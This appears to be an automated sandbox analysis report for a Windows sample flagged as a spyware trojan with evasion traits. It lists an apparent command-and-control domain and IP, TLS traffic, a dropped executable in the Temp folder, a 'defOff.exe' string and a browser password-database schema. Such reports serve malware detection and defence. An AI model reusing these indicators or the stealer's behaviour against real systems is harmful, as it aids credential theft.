Source: file.exe, 00000000.00000003.2138400659.0000000000C0B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178534675.0000000000BFF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157204984.0000000000BFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/
Source: file.exe, 00000000.00000003.2153297362.0000000000C0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/0.8
Source: file.exe, 00000000.00000003.2189500587.0000000000C06000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2153297362.0000000000C0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2138400659.0000000000C0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/Y
Source: file.exe, 00000000.00000003.2182338603.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/a
Source: file.exe, 00000000.00000002.2292655553.0000000000C03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290525499.0000000000B70000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291052902.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178534675.0000000000BFF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178569699.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api
Source: file.exe, 00000000.00000003.2178495956.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178534675.0000000000BFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apig
Source: file.exe, 00000000.00000003.2290458871.0000000000BF7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2292672576.0000000000C0E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290505649.0000000000C06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/e
Source: file.exe, 00000000.00000003.2189500587.0000000000C06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/r
Source: file.exe, 00000000.00000003.2182256843.0000000000C06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/s
Source: file.exe, 00000000.00000003.2157138603.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2297377516.0000000005800000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157204984.0000000000BFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/api
Source: file.exe, 00000000.00000002.2292270353.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291013532.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290790362.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.storea
Source: file.exe, 00000000.00000003.2102716168.0000000005838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2102716168.0000000005838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2102716168.0000000005838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.2141345481.0000000005896000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe, 00000000.00000003.2140333555.0000000005B26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2140333555.0000000005B26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2102716168.0000000005838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2102716168.0000000005838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.2140333555.0000000005B26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000003.2140333555.0000000005B26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2140333555.0000000005B26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.2140333555.0000000005B26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2140333555.0000000005B26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000003.2140333555.0000000005B26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49713 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe.0.dr	Static PE information: section name:
Source: RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Code function: 3_2_004EF922	3_2_004EF922
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Code function: 3_2_004E8CBA	3_2_004E8CBA
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Code function: 3_2_004E8DC7	3_2_004E8DC7

Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.2273288630.0000000005DE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2268624758.0000000005CA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2292194709.0000000000BDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2273169746.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2265289950.0000000005D98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2254729688.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290458871.0000000000BF7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2273792728.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2272504400.0000000005F11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2274431536.0000000005F31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290425344.00000000058DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2254095684.0000000005B03000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2270149559.0000000005EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2269605110.0000000005DBB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2257174718.0000000005D56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2265518818.0000000005CA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2255986536.0000000005DF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2258540932.0000000005D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290525499.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2265904225.0000000005E8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2256681480.0000000005CA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2252473521.0000000005B03000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2258886378.0000000005D6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2254565458.0000000005D40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2269476703.0000000005CA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2263879367.0000000005CA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2266534659.0000000005E8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2263576068.0000000005D88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2255725383.0000000005D50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2259098058.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2255207868.0000000005D54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2272198941.0000000005CA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2258402425.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2269326220.0000000005EC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2271020517.0000000005DD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2267524059.0000000005DA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2253646157.0000000005D3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2263070321.0000000005E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2253115437.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2259210126.0000000005D65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2256573568.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2268144227.0000000005EAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2263764961.0000000005D84000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2269978381.0000000005DBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2269810505.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2270335983.0000000005CA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2270720302.0000000005EDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2267023984.0000000005DB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2271438629.0000000005CA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2260428866.0000000005CA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2257985744.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2256918027.0000000005CA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2272807041.0000000005DF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2266125744.0000000005CA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2258773580.0000000005CA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2253767308.0000000005DDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2264633870.0000000005DA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2256464271.0000000005D52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2268989914.0000000005DAB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2253358463.0000000005CA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2259315871.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2264169805.0000000005E6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290345027.000000000581B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2273534233.0000000005CA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290505649.0000000000C06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2273986292.0000000005DE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2273045814.0000000005DEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2271924746.0000000005CAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2258199187.0000000005D71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2266782262.0000000005CA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2259935032.0000000005D73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2255341052.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2256367546.0000000005CA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2270531738.0000000005DBB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2254857360.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2266315685.0000000005D93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2255466216.0000000005D53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2257565255.0000000005E0E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2271572868.0000000005DCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2252124290.0000000005922000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2272062268.0000000005DDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2264777052.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2263680581.0000000005CA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2261993835.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2264324361.0000000005CAF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2272930087.0000000005CAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2271707895.0000000005F01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2273411705.0000000005F18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2272377491.0000000005DD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2259531062.0000000005CA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2258989075.0000000005E3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2265747560.0000000005D94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2267311175.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2270888753.0000000005CA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2273664366.0000000005DF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2272644669.0000000005CAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2252985913.0000000005B0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2253211227.0000000005B07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2261140396.0000000005D7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2255599586.0000000005CA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2262704666.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2252697589.0000000005CAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2263997887.0000000005D85000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2263337291.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2258663421.0000000005E2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2286345380.0000000006211000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2254400456.0000000005CA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2256809971.0000000005D5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ZLIB complexity 0.998046875

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/2@2/2

Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2125300382.000000000580B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2125578718.00000000058A6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2102919689.000000000580A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2102534498.0000000005826000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe "C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe "C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
